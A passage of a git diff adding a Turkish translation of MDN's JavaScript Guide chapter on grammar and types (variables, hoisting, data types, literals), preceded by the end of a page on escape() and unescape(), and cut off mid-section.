UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p> + </dd> + <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt> + <dd> + <p>The deprecated <code><strong>escape()</strong></code> method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.</p> + </dd> + <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt> + <dd> + <p>The deprecated <code><strong>unescape()</strong></code> method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because <code>unescape()</code> is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.</p> + </dd> +</dl> + +<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p> diff --git a/files/tr/web/javascript/guide/grammar_and_types/index.html b/files/tr/web/javascript/guide/grammar_and_types/index.html new file mode 100644 index 0000000000..a1619e77aa --- /dev/null +++ b/files/tr/web/javascript/guide/grammar_and_types/index.html @@ -0,0 +1,640 @@ +--- +title: Dil bilgisi ve türler +slug: Web/JavaScript/Guide/Grammar_and_types +tags: + - JavaScript + - Rehber +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p> + +<p class="summary">Bu bölümde JavaScript'in temel dil bilgisi, değişken tanımları, veri türleri ve sabitleri üzerine değinilecektir.</p> + +<h2 id="Temeller">Temeller</h2> + +<p>JavaScript çoğu söz dizimini Java'dan almıştır. Awk, Perl and Python'dan da etkilenmiştir.</p> + +<p>JavaScript büyük-küçük harfe duyarlıdır ve <strong>Unicode </strong>karakter setini kullanır.</p> + +<p>JavaScript'te, komutlara {{Glossary("Statement", "statements")}} denir ve noktalı virgül (;) ile ayrılırlar. Boşluklara, tablara ve satırbaşı karakterlerine whitespace denir. JavaScript betiklerinde, kaynak metin soldan sağa taranır ve token, kontrol karakterleri, satır sonlayıcıları, yorumlar ve whitespace gibi girdi elemanları dizisine dönüştürülür. ECMAScript, bazı kelimeleri ve sabitleri tanımlamıştır ayrıca noktalı virgül (;) karakterinin komut sonlarına otomatik olarak eklenmesi için kurallar belirlemiştir. Ancak kodda herhangi bir yan etki oluşturmaması için komut sonlarına her zaman noktalı virgül konması önerilir. Daha fazla bilgi için JavaScript'in <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">sözcük dil bilgisi</a> hakkındaki başvurusuna bakınız.</p> + +<h2 id="Yorumlar">Yorumlar</h2> + +<p>Yorumların söz dizimi C++ ve çoğu diğer dillerde olduğu şekilde aynıdır:</p> + +<pre class="brush: js">// Tek satırlık yorum. + +/* * + * Bu ise daha uzun, + * çok satırlı yorum. + */ + +/* Ancak /* iç içe yorum */ konulması söz dizimi hatasına yol açar<code> */</code></pre> + +<h2 id="Bildirimler">Bildirimler</h2> + +<p>JavaScript'te üç çeşit bildirim vardır:</p> + +<p>{{jsxref("Statements/var", "var")}}</p> + +<dl> + <dd>Bir değişkeni tanımlar, isteğe bağlı olarak değer ataması yapılır.</dd> + <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt> + <dd>Etki alanı kod bloğudur, yerel değişken tanımlar, isteğe bağlı olarak değer ataması yapar.</dd> + <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt> + <dd>Salt okunur değişken tanımlar.</dd> +</dl> + +<h3 id="Değişkenler">Değişkenler</h3> + +<p>Uygulamalarınızda, verilerin sembolik birer gösterimi olarak değişkenleri kullanırsınız. Değişkenlerin isimine {{Glossary("Identifier", "identifiers")}} denir ve kesin kurallar çerçevesinde oluşturulurlar.</p> + +<p>JavaScript'te değişken adı; bir harfle, alt tire (_) ile veya dolar işareti ($) ile başlamalıdır; ardından rakamlar gelebilir (0-9). JavaScript'in büyük-küçük harfe duyarlı olmasından dolayı, harfler büyük harf (A'dan Z'ye) ve küçük harf (a'dan z'ye) içerebilirler. </p> + +<p>Değişken adları için å ve ü gibi Unicode harfleri bulunan ISO 8859-1 standardındaki karakter setini kullanabilirsiniz. Ayrıca değişkenlerdeki karakterler olarak, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode kaçış karakterlerini</a> kullanabilirsiniz.</p> + +<p>Bir kaç uygun örnek: <code>Popüler_şarkılar, jamesBond007, _isim</code>.</p> + +<h3 id="Değişken_tanımlama">Değişken tanımlama</h3> + +<p>Bir değişkeni üç yolla tanımlayabilirsiniz:</p> + +<ul> + <li>{{jsxref("Statements/var", "var")}} kelimesi ile. Örneğin, <code>var x = 42</code>. Bu söz dizimi hem yerel hem global değişkenler bildirebilir.</li> + <li>Sadece değer vererek. Mesela, <code>x = 42</code>. Bu şekilde daima global bir değişken tanımlanır. Tanımlandığı zaman JavaScript uyarı verir. Bu yüzden böyle bir tanımlama yapmamalısınız.</li> + <li>{{jsxref("Statements/let", "let")}} kelimesi ile. Örneğin, <code>let y = 13</code>. Bu şekilde blok seviyesinde yerel değişken tanımlanmış olur. Yani y=13 değerinin etki alanı içinde bulunduğu kod bloğu (statement) 'dur. Daha fazlası için aşağıdaki <a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Değişkenin_etki_alanı">Değişkenin etki alanı</a> kısmına bakabilirsiniz. </li> +</ul> + +<h3 id="Değişkenlerin_değerlendirilmesi">Değişkenlerin değerlendirilmesi</h3> + +<p><code>var</code> veya <code>let</code> komutuyla başlangıç değer ataması yapmadan tanımlanan değişkenler, {{jsxref("undefined")}} değerine sahiptirler.</p> + +<p>Değer ataması yapılmayan bir değişkene erişilmeye çalışıldığında {{jsxref("ReferenceError")}} hatası alınır:</p> + +<pre><code>var a; +console.log("a'nın değeri " + a); // a'nın değeri undefined + +var b; +console.log("b'nın değeri " + b); // b'nin değeri undefined + +console.log("c'nin değeri " + c); // </code> +Yakalanmamış Referans Hatası<code>: c değeri tanımlanamadı + +let x; +console.log("x'in değeri " + x); // x'in değeri undefined + +console.log("y'in değeri " + y); // </code> +Yakalanmamış Referans Hatası<code>: y değeri tanımlanamadı +let y;</code></pre> + +<p><code>undefined</code>'ı, bir değişkenin herhangi bir değere sahip olup olmadığını kontrol etmek için kullanabilirsiniz. Aşağıdaki kod parçasında girdi değişkenine değer atanmamıştır ve <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else" title="en-US/docs/JavaScript/Reference/Statements/if...else">if</a> </code>ifadesi doğru olarak değerlendirileceği için bunuYap(); metodu çalıştırılmış olur. </p> + +<pre class="brush: js">var girdi; +if(girdi === undefined){ + bunuYap(); +} else { + sunuYap(); +} +</pre> + +<p>Eğer <code>undefined</code> değeri boolean bir kontrol deyiminde (<code>if, while</code> vb.) kullanılırsa yanlış <code>(false) </code>çıktı verecek şekilde davranır . Örneğin, aşağıdaki kodda <code>benimDizim </code>değişkeni tanımsız olduğu için <code>yap() </code>fonksiyonu çalıştırılır:</p> + +<pre class="brush: js">var benimD<code>izim</code> = []; +if (!benimD<code>izim</code>[0]) yap(); +</pre> + +<p>Eğer <code>undefined</code> değeri sayısal bir içerikte kullanıldığında <code>NaN</code> (sayı değil) değerini alır.</p> + +<pre class="brush: js">var a; +a + 2; // NaN sonucunu verir</pre> + +<p>{{jsxref("null")}} değişkeni sayısal bir içerikte kullanıldığında 0, boolean bir içerikte kullanıldığında ise <code>false</code> gibi davranır. Örneğin:</p> + +<pre class="brush: js">var n = null; +console.log(n * 32); // ekrana 0 yazdırır +</pre> + +<h3 id="Değişkenin_etki_alanı">Değişkenin etki alanı</h3> + +<p>Herhangi bir fonksiyon etki alanının dışında bir değişken tanımladığınız zaman, <em>global</em> değişken tanımlamış olursunuz. Bu sayede JavaScript dokümanı içerisinde herhangi bir kod parçası bu değişkene erişilebilir. Bir fonksiyon etki alanı içerisinde değişken tanımladığınızda <em>local (yerel) </em> değişken tanımlamış olursunuz. Bu sayede değişkene sadece o fonksiyon içerisinden erişilebilir.</p> + +<p>ECMAScript 6'dan önceki JavaScript'te, <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement" title="en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement">blok seviyesinde</a> etki alanı yoktur; bilâkis, blok içerisinde tanımlanan değişken, o bloğun bulunduğu fonksiyonda (veya global etki alanında) yerel olarak tanımlanmış olur. Örneğin aşağıdaki kod ekrana 5 değerini yazdırır. Çünkü x'in etki alanı, if bloğu içerisinde değil, x'in tanımlandığı fonksiyonda (veya globalde) yer almaktadır.</p> + +<pre class="brush: js">if (true) { + var x = 5; +} +console.log(x); // 5 +</pre> + +<p>ECMAScript 2015'te belirlenen <code>let </code>ifadesi ile kullanılırsa, çıktı değişkenlik gösterebilir. Çünkü let ifadesi global alanı değil if bloğunun alanını etki alanı olarak ele alır ve y değişkeni, JavaScript tarafından tanımsız olarak değerlendirileceği için hata döndürür:</p> + +<pre class="brush: js">if (true) { + let y = 5; +} +console.log(y); // Uncaught ReferenceError: y is not defined +</pre> + +<h3 id="Değişkeni_yukarı_alma_hoisting">Değişkeni yukarı alma (hoisting)</h3> + +<p>JavaScript'teki değişkenler hakkında bir sıradışı olay ise, tanımladığınız bir değişkene daha önceki satırda hata almadan erişebiliyor olmanızdır. Bu kavram <strong>hoisting (yukarı alma) </strong>olarak bilinir; JavaScript'te tanımlanan değişkenler bir anlamda fonksiyon veya ifadenin üzerine alınmış (hoisted) olarak ele alınır. Yukarı alınan değişkenler atandıkları değer yerine <code>undefined </code>değerini alırlar. Hatta bu değişkeni kullandıktan sonra tekrar tanımlarsanız, yine undefined sonucunu alırsınız.</p> + +<pre class="brush: js">/** + * Örnek 1 + */ +console.log(x === undefined); // "true" yazar +var x = 3; + +/** + * Örnek 2 + */ +// undefined değeri alacak +var degiskenim = "değerim"; + +(function() { + console.log(degiskenim); // undefined + var degiskenim = "yerel değerim"; +})(); +</pre> + +<p>Üstteki örnekler bilgisayar tarafından aşağıdaki şekilde yorumlanır:</p> + +<pre class="brush: js">/** + * Örnek 1 + */ +var x; +console.log(x === undefined); // "true" yazar +x = 3; + +/** + * Örnek 2 + */ +var degiskenim = "değerim"; + +(function() { + var degiskenim; + console.log(degiskenim); // undefined yazar + degiskenim = "yerel değerim"; +})(); +</pre> + +<p>Yukarı alma ile ilgili sorunların yaşanmaması için, fonksiyon içerisinde yer alan bütün değişken tanımları olabildiğince en üste taşınmalıdır. Değişken tanımlamanın en iyi yöntemi de zaten budur. Bu sayede kodun okunabilirliği artmış olur. </p> + +<p>ECMAScript 2015'te, <code>let</code> veya <code>const</code> ifadesi ile tanımlanan değişken, üste alınmaz. Değişken tanımından önce o değişkenin kullanılmaya çalışılırsa {{jsxref("ReferenceError")}} hatası ile sonuçlanır. Değişken, bloğun başlangıcından itibaren tanımının yapıldığı yere kadar ölü bölgededir.</p> + +<h3 id="Fonksiyonu_yukarı_alma">Fonksiyonu yukarı alma</h3> + +<p>Fonksiyonlarda, yalnızca fonksiyon tanımı yukarı alınır. Fonksiyon ifadesine erişilmeye çalışıldığında ise hata oluşur.</p> + +<pre class="brush: js">/* fonksiyon tanımlama */ + +foo(); // "bar" + +function foo() { + console.log('bar'); +} + + +/* fonksiyon ifadesi */ + +baz(); // TypeError: baz is not a function + +var baz = function() { + console.log('bar2'); +}; +</pre> + +<h3 id="Global_değişkenler">Global değişkenler</h3> + +<p>Global değişkenler aslında temel bir <em>global nesne</em>nin özellikleridirler. Web sayfalarında bulunan global nesnenin adı {{domxref("window")}} 'dur. Böylece global değişkenlere, <code>window.<em>variable</em></code> söz dizimi kullanılarak erişilebilir.</p> + +<p>Sonuç olarak, herhangi bir window veya iframe'deki global değişkenlere, diğer window veya iframe üzerinden değişkenin ismi kullanılarak erişilebilir. Örneğin, eğer bir dokümanda <code>telefonNumarası</code> isminde bir değişken tanımlanmışsa, bu değişkene iframe içerisinden <code>parent.telefonNumarası</code> şeklinde erişebilirsiniz.</p> + +<h3 id="Sabitler">Sabitler</h3> + +<p>{{jsxref("Statements/const", "const")}} anahtar kelimesi ile sabit bir değişken oluşturabilirsiniz. Sabit değerler için söz dizimi, değişken değerleri ile aynıdır: bir harf, alt çizgi veya dolar işareti ile başlamalıdırlar, devamında ise alfabetik, sayısal veya alt çizgi gibi karakterler gelebilir.</p> + +<pre><code>const PI = 3.14;</code></pre> + +<p>JavaScript kodu çalışırken bir sabitin değeri, atama yapılarak değiştirilemez ve sabit tekrar tanımlanamaz. Ayrıca sabitlere başlangıçta tanımlanırken bir değer atanması zorunludur.</p> + +<p>Sabitlerin etki alanı <code>let </code>bloğunun etki alanındaki değişkenler ile aynıdır. Eğer <code>const </code>ifadesi çıkarılırsa, ifade artık değişken haline gelir.</p> + +<p>Bir etki alanında, halihazırda bir fonksiyon veya değişken varsa, aynı isimli sabit tanımlamak hataya yol açar. Örneğin:</p> + +<pre class="example-bad brush: js">// BU HATAYA NEDEN OLUR +function f() {}; +const f = 5; + +// BU DA HATAYA NEDEN OLUR +function f() { + const g = 5; + var g; +} +</pre> + +<p>Sabit bir nesneye atanan özellikler diğer fonksiyonların kullanımına karşı korunmamışlardır ve nesnenin kendisi sabit olmasına rağmen değişken değerler alabilirler. Bu sebeple aşağıdaki ifade sorunsuz bir şekilde çalışır.</p> + +<pre><code>const BENIM_NESNEM = {"anahtar": "değer"}; +BENIM_NESNEM.anahtar = "diğerDeğer";</code></pre> + +<h2 id="Veri_yapıları_ve_tipleri">Veri yapıları ve tipleri</h2> + +<h3 id="Veri_tipleri">Veri tipleri</h3> + +<p>Son yayınlanan ECMAScript standardı ile yedi veri tipi tanımlanabilir:</p> + +<ul> + <li>Altı adet veri türü {{Glossary("Primitive", "primitives")}}'dir: + <ul> + <li>{{Glossary("Boolean")}}. <code>true</code> ve <code>false</code>.</li> + <li>{{Glossary("null")}}. <code>null</code> değeri belirten özel anahtar kelime. JavaScript büyük-küçük karaktere duyarlı olduğu için, <code>null</code> ifadesi <code>Null</code>, <code>NULL</code>, veya diğer değişkenler ile aynı değildir.</li> + <li>{{Glossary("undefined")}}. Değeri tanımsız olan özellikler için <code>undefined</code>'tır.</li> + <li>{{Glossary("Number")}}. <code>42</code> ya da <code>3.14159</code>.</li> + <li>{{Glossary("String")}}. "Zafer"</li> + <li>{{Glossary("Symbol")}} (ECMAScript 6 ile yeni geldi). Özellikleri eşsiz (unique) ve değiştirilemez (immutable) olan nesnelerdir.</li> + </ul> + </li> + <li>ve {{Glossary("Object")}} veri türü</li> +</ul> + +<p>Veri tipleri nispeten az miktarda olmalarına rağmen, uygulamalarınızla yararlı işlevler oluşturmanıza olanak sağlarlar. {{jsxref("Object", "Objects")}} (nesneler) ve {{jsxref("Function", "functions")}} (fonksiyonlar) dilin diğer temel elemanlarıdırlar. Nesneleri, değerleriniz için isimlendirilmiş kutular, fonksiyonları (functions) ise uygulamanızın gerçekleştirebileceği işlevler olarak düşünebilirsiniz.</p> + +<h3 id="Veri_tipi_dönüşümü">Veri tipi dönüşümü</h3> + +<p>JavaScript dinamik tipli bir dildir. Bunun anlamı, bir değişken tanımlarken, veri tipini belirtme zorunluluğunuzun olmaması ve değişkenin veri tipinin çalışma esnasında ihtiyaç olunan tipe otomatik olarak dönüştürülmesidir. Örneğin sayısal bir değişken tanımlayabilirsiniz:</p> + +<pre class="brush: js">var yanit = 42; +</pre> + +<p>Ve sonra, aynı değişkene string bir değer atayabilirsiniz:</p> + +<pre class="brush: js">yanit = "Hoşçakal, balık için teşekkürler..."; +</pre> + +<p>JavaScript dinamik tipli olduğu için, bu atama bir hata vermez.</p> + +<p>Bir string ve sayının toplama işlemine konulması ile JavaScript otomatik olarak sayısal değeri string ifadeye çevirir ve eklenecek string ile birleştirir. Örneğin aşağıdaki ifadelere bakalım:</p> + +<pre class="brush: js">x = "Cevap " + 42 // "Cevap 42" +y = 42 + " cevaptır." // "42 cevaptır." +</pre> + +<p>Toplama işlemi dışındaki diğer işlemlerde JavaScript otomatik olarak tür dönüşümü yapmaz. Örneğin:</p> + +<pre class="brush: js">"37" - 7 // 30 +"37" + 7 // "377" +</pre> + +<h3 id="String_ifadelerin_sayısal_değerlere_dönüştürülmesi">String ifadelerin sayısal değerlere dönüştürülmesi</h3> + +<p>Bellekte sayısal bir ifadeyi temsil eden bir string'in olduğu durumlarda tip dönüşümü yapmak için aşağıdaki metodları kullanabilirsiniz: </p> + +<ul> + <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li> + <li>{{jsxref("parseFloat", "parseFloat()")}}</li> +</ul> + +<p><code>parseInt</code> fonksiyonu sadece tam sayı döndürür, bu yüzden ondalık sayılarla kullanıldığında ondalık kısmını atar. Buna ek olarak parseInt'in en uygun kullanımlarından biri de sayının hangi tabanda (2'lik, 10'luk, 16'lık vb.) yazılabileceğini parametre olarak fonksiyona verebilmenizdir. Taban parametresi hangi sayısal sistemin kullanılacağının belirlenmesini sağlar.</p> + +<p>String ifadelerin, sayısal ifadelere dönüştürülmesinin diğer bir yolu da, string ifadenin başına + operatörünün eklenmesidir:</p> + +<pre class="brush: js">"1.1" + "1.1" = "1.11.1" +(+"1.1") + (+"1.1") = 2.2 +// Not: parantezler gösterim kolaylığı için konulmuştur, zorunlu değildir.</pre> + +<h2 id="Değişken_değerleri">Değişken değerleri</h2> + +<p>JavaScript'te değişkenlerin temsil edilmesi için değerler kullanırsınız. Bunlar, kodunuzda değişkenlere <code>=</code> operatöründen sonra atadığınız değerlerdir. Bu kısımda aşağıdaki değer tiplerini inceleyeceğiz:</p> + +<ul> + <li>{{anch("Dizi değerleri")}}</li> + <li>{{anch("Boolean değerleri")}}</li> + <li>{{anch("Ondalıklı-sayı değerleri")}}</li> + <li>{{anch("Tam sayılar")}}</li> + <li>{{anch("Nesne değerleri")}}</li> + <li>{{anch("String değerleri")}}</li> +</ul> + +<h3 id="Dizi_değerleri">Dizi değerleri</h3> + +<p>Bir dizi değeri 0 veya daha fazla ifadeden oluşan liste biçimindedir, liste başında ve sonunda listeyi açıp/kapatan köşeli parantezler [ ] bulunur. Bir dizi oluşturup bu diziye değerler atadığınızda, belirlediğiniz değerleri kendi elemanı olarak barındıran bir dizi üretilir ve dizinin uzunluğu belirlediğiniz değer sayısı kadardır.</p> + +<p>Aşağıdaki örnekte, 3 elemanı barındıran ve bu nedenle 3 uzunluğunda olan <code style="font-style: normal; font-weight: normal;">kahveler</code> isimli bir dizi oluşturulmaktadır:</p> + +<pre class="brush: js">var kahveler = ["Türk kahvesi", "Espresso", "Mocha"]; +</pre> + +<div class="note"> +<p><strong>Not :</strong> Bir dizi değeri, bir nesne başlatıcısı türündedir. Dahası için bkz: <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers" title="en-US/docs/JavaScript/Guide/Working with Objects#Using Object Initializers">Nesne başlatıcılarının kullanımı</a>.</p> +</div> + +<p>Eğer bir dizi, üst-seviye betikte sabit değer kullanarak oluşturulmuşsa JavaScript, bu diziyi içeren her ifadeyi çalıştırdığında diziyi yorumlar. Buna ek olarak, fonksiyon içerisinde tanımlanan diziler, her fonksiyon çağrımında yeni bir dizi olarak bellekte oluşturulur.</p> + +<p>Dizi değerleri ayrıca <code>Array</code> nesneleridirler. Detaylı bilgi için {{jsxref("Array")}} ve <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Index'li koleksiyonlar</a> kısmına bakınız.</p> + +<h4 id="Dizi_değerleri_arasında_bulunan_fazladan_virgül">Dizi değerleri arasında bulunan fazladan virgül</h4> + +<p>Dizi tanımlarken her değeri belirlemek zorunda değilsiniz. Eğer iki tane virgülü art arda koyarak dizi oluşturursanız, virgüller arasında kalan tanımlanmayan her değer için <code>undefined</code> değeri üretilir. Aşağıdaki örnekte bir <code>balık</code> dizisi oluşturulmaktadır:</p> + +<pre class="brush: js">var balik = ["Japon", , "Melek"]; +</pre> + +<p>Bu dizi değerlere sahip 2 elemana ve bir tane boş elemana sahiptir (<code>balik</code><code>[0]</code> = "Japon", <code>balik[1]</code> = <code>undefined</code>, ve <code>balik[2]</code> = "Melek").</p> + +<p>Eğer dizideki elemanların sonuna virgül koyarsanız virgül, JavaScript tarafından görmezden gelinir. Aşağıdaki örnekte bulunan dizinin uzunluğu üçtür. <code>dizi[3]'</code>ü ifade eden herhangi bir eleman bulunmamaktadır. Listedeki diğer virgüller, undefined değerine sahip yeni bir elemanı ifade eder. </p> + +<div class="note"> +<p><strong>Not :</strong> Sona konan virgüller, eski versiyonlu tarayıcılarda hatalara neden olur. Yapılacak en doğru şey, dizi sonlarında kullanılan virgüllerin kaldırılmasıdır.</p> +</div> + +<pre class="brush: js">var dizi = ['ev', , 'okul', ]; +</pre> + +<p>Aşağıdaki örnekte oluşturulan dizinin uzunluğu, <code>dizi[0]</code> ve <code>dizi[2] </code>değerleri tanımlanmadığı halde 4'tür.</p> + +<pre class="brush: js">var dizi = [ , 'ev', , 'okul']; +</pre> + +<p>Aşağıdaki bir diğer örnekte, dizinin uzunluğu, <code>dizi[1]</code> ve <code>dizi[3]</code> değerleri tanımlanmadığı halde yine 4'tür. Sadece son virgül görmezden gelinir.</p> + +<pre class="brush: js">var dizi = ['ev', , 'okul', , ]; +</pre> + +<p>Ekstra virgüllerin davranışlarının kavranılması, JavaScript dilinin öğrenilmesi için çok önemlidir, ancak kendi kodunuzu yazarken tanımsız elemanları <code>undefined</code> olarak dizi içerisinde belirlemeniz, kodunuzun okunabilirliğini ve bakım yapılabilirliğini önemli ölçüde arttıracaktır.</p> + +<h3 id="Boolean_değerleri">Boolean değerleri</h3> + +<p>Boolean tipinde iki çeşit değer bulunur: <code>true</code> (doğru) ve <code>false</code> (yanlış).</p> + +<p>İlkel Boolean değerleri olan <code>true</code> ve <code>false</code> ile <em>Boolean</em> nesnesi olan true ve false değerlerini karıştırmayınız. Boolean nesnesi, ilkel olan Boolean veri tipinin alınması ve üzerine bazı ek özellikler getirilmesi ile oluşturulmuştur. Daha fazlası için bkz: {{jsxref("Boolean")}}.</p> + +<h3 id="Tam_sayılar">Tam sayılar</h3> + +<p>Tam sayılar; ikilik (binary) (2 tabanında), sekizlik (octal) (8 tabanında), onluk (decimal) (10 tabanında), ve onaltılık (hexadecimal) (16 tabanında) temsil edilebilirler.</p> + +<ul> + <li>Başında 0b (veya 0B) yer alan tam sayı ifadeleri ikiliktirler. İkilik tam sayılar sadece 0 ve 1 rakamlardan oluşurlar.</li> + <li>Başında 0 (sıfır) yer alan tam sayı ifadeleri sekizliktirler. Sekizlik tamsayılar sadece 0-7 arasındaki rakamlardan oluşurlar.</li> + <li>Onluk tam sayı değeri, 0 (sıfır) ile başlamayan rakamlardan oluşurlar.</li> + <li>Başında 0x (veya 0X) yer alan tam sayı ifadeleri onaltılıktırlar. Onaltılık tamsayılar, 0-9 arasındaki rakamları içerebildiği gibi aynı zamanda a-f veya A-F arasındaki harfleri de barındırabilirler.</li> +</ul> + +<p>Bazı örnek tamsayılar:</p> + +<pre class="eval">0, 117 and -345 (onluk, 10 tabanında) +015, 0001 and -077 (sekizlik, 8 tabanında) +0x1123, 0x00111 and -0xF1A7 (onaltılık, "hex" veya 16 tabanında) +0b11, 0b0011 and -0b11 (ikilik, 2 tabanında) +</pre> + +<p>Daha fazlası için bkz: <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Sayısal değerler ve sözsel gramer başvurusu</a>.</p> + +<h3 id="Ondalıklı_değerler">Ondalıklı değerler</h3> + +<p>Bir ondalıklı değer aşağıdaki kısımları içerebilir:</p> + +<ul> + <li>İşaretli olabilen bir onluk sayı ("<code>+</code>" veya "<code>-</code>" ile başlayabilir),</li> + <li>Bir nokta ("<code>.</code>"),</li> + <li>Ondalık (noktadan sonra diğer onluk sayı),</li> + <li>Bir katsayı.</li> +</ul> + +<p>Katsayı kısmı bir "e" veya "E" karakteridir ve devamında işaretli olabilen bir tamsayı gelir. Ondalıklı değerin tanımlanabilmesi için en az bir rakam ve devamında ondalıklı sayı ve katsayı "e" (veya "E") içermelidir.</p> + +<p>Özetle söz dizimi aşağıdaki şekildedir:</p> + +<pre class="eval">[(+|-)][rakamlar][.rakamlar][(E|e)[(+|-)]rakamlar] +</pre> + +<p>Örneğin:</p> + +<pre class="eval">3.1415926 +-.123456789 +-3.1E+12 +.1e-23 +</pre> + +<h3 id="Nesne_değerleri">Nesne değerleri</h3> + +<p>Bir nesne değeri, süslü parantezlerle <code>{}</code> çevrili sıfır veya daha fazla özellik ismi ve bu özellikler ile ilişkili değerleri içeren bir listeden oluşur. Bir kod satırının başlangıcında değişken ismi olmadan sadece süslü parantezler ile başlayarak bir nesne <u>oluşturmamanız</u> gerekmektedir. Eğer oluşturursanız, JavaScript nesne başlangıcındaki <code>{</code> karakterini, bir kod bloğuna başlangıç yapılıyormuş gibi yorumlar ve bunun sonucunda ya bir hata mesajı alırsınız, ya da yazdığınız kod beklediğiniz şekilde çalışmaz.</p> + +<p>Aşağıda, nesne değerini içeren bir örnek bulunmaktadır. <code>otoGaleri</code> nesnesinin ilk elemanı, "<code>Fiat</code>" değerini barındıran <code>arabam</code> isminde bir özelliği tanımlamaktadır; ikinci elemanı <code>arabaAl</code> özelliğidir ve <code>function</code> <code>(arabaTipleri("Honda"))</code> fonksiyonu çalıştırıldıktan hemen sonra fonksiyonun sonucunu içerir; üçüncü eleman <code>sporArabaAl</code> özelliğidir, halihazırda varolan <code>hayalimdekiAraba</code> değişkenini kullanır.</p> + +<pre class="brush: js">var hayalimdekiAraba = "Bugatti"; + +function arabaTipleri(markaAdı) { + if (markaAdı == "Wolksvagen") { + return markaAdı; + } else { + return "Üzgünüz, malesef " + markaAdı + " marka araba elimizde bulunmamaktadır."; + } +} + +var otoGaleri = { + arabam: "Fiat", + arabaAl: arabaTipleri("Wolksvagen"), + sporArabaAl: arabaTipleri(hayalimdekiAraba) +}; + +console.log(otoGaleri.arabam); // Fiat +console.log(otoGaleri.arabaAl); // Wolksvagen +console.log(otoGaleri.sporArabaAl); // Üzgünüz, malesef Bugatti marka araba elimizde bulunmamaktadır. +</pre> + +<p>Ek olarak, sayısal veya string bir değer, özellik adı veya iç içe olan diğer bir nesnenin adı yerine kullanabilir. Aşağıdaki örnekte bu seçenekleri görebiliriz:</p> + +<pre class="brush: js">var otoGaleri = { + arabalar: {s: "Saab", "j": "Jeep"}, + 7: "Mazda" +}; + +console.log(otoGaleri.arabalar.j); // Jeep +console.log(otoGaleri[7]); // Mazda +</pre> + +<p>Nesne özelik adları boş bir string de dahil olmak üzere herhangi bir string ifade olabilirler. Eğer özellik adı geçerli bir JavaScript {{Glossary("Identifier","identifier")}} değilse, tırnak içinde yazılması gereklidir. Buna ek olarak geçersiz olan özellik adlarına, nokta (<code>.</code>) ile erişim yapılamaz, bunun yerine dizi tarzında köşeli parantezler(<code>[]</code>) kullanılır:</p> + +<pre class="brush: js">var geçersizÖzellikAdlarıÖrnek = { + "": "Boş bir string", + "!": "Ateş!" +} +console.log(geçersizÖzellikAdlarıÖrnek.""); // SyntaxError: Unexpected string +console.log(geçersizÖzellikAdlarıÖrnek[""]); // Boş bir string +console.log(geçersizÖzellikAdlarıÖrnek.!); // SyntaxError: Unexpected token ! +console.log(geçersizÖzellikAdlarıÖrnek["!"]); // Ateş!</pre> + +<p>Diğer örnekler:</p> + +<pre class="brush: js">var nesne = {a: "armut", 2: "iki"}; +console.log(nesne.a); // armut +console.log(nesne[2]); // iki +//console.log(nesne.2); // Error: missing ) after argument list +//console.log(nesne[a]); // Error: a is not defined +console.log(nesne["a"]); // armut +console.log(nesne["2"]); // iki +</pre> + +<h3 id="Düzenli_İfade_RegExp_değerleri">Düzenli İfade (RegExp) değerleri</h3> + +<p>Bir düzenli ifade değeri bölü (<code>/</code>) karakterleri arasında ifade edilir. Aşağıda, örnek bir düzenli ifade bulunmaktadır:</p> + +<pre><code>var re = /ab+c/;</code></pre> + +<h3 id="String_değerleri">String değerleri</h3> + +<p>Bir string değer çift tırnak (") veya tek tırnak (') arasında bulunan sıfır veya daha fazla karakterlerin yer almasıyla oluşur. Bir string değer aynı tip tırnak ile sonlanmalıdır; bu nedenle karakterleri kapsayan tırnaklar ya çift tırnak ya da tek tırnak ikililerinden oluşmalıdır. Aşağıdaki örnekte string değerler ifade edilmiştir:</p> + +<pre class="eval">"elma" +'armut' +"1234" +"bir satır \n diğer satır" +"Zafer'in kedisi" +</pre> + +<p><em>String</em> nesnesinin herhangi bir fonksiyonuna, string değerin sonuna nokta koyarak erişebilir ve çalıştırabilirsiniz—JavaScript otomatik olarak string değeri geçici bir <em>String</em> nesnesine dönüştürür, metodu çağırır, ve sonra oluşan geçici String nesnesini hafızadan siler. Ayrıca <code>String.length</code> özelliğini de string değerinin sonuna <code>.length</code> ekleyerek kullanablirsiniz:</p> + +<pre class="brush: js">console.log("Zafer'in kedisi".length); +// Boşluk da dahil olmak üzere, string içerisindeki tüm sembollerin sayısını ekrana yazar. +// Ekrana yazılan değer: 15 +</pre> + +<p><code>String</code> nesnesine hususi olarak ihtiyaç duymadığınız durumlarda, string değerleri kullanmanız gerekir. <code>String</code> nesneler için bkz: {{jsxref("String")}}.</p> + +<h4 id="Özel_karakterlerin_string_değerlerde_kullanımı">Özel karakterlerin string değerlerde kullanımı</h4> + +<p>String değerler 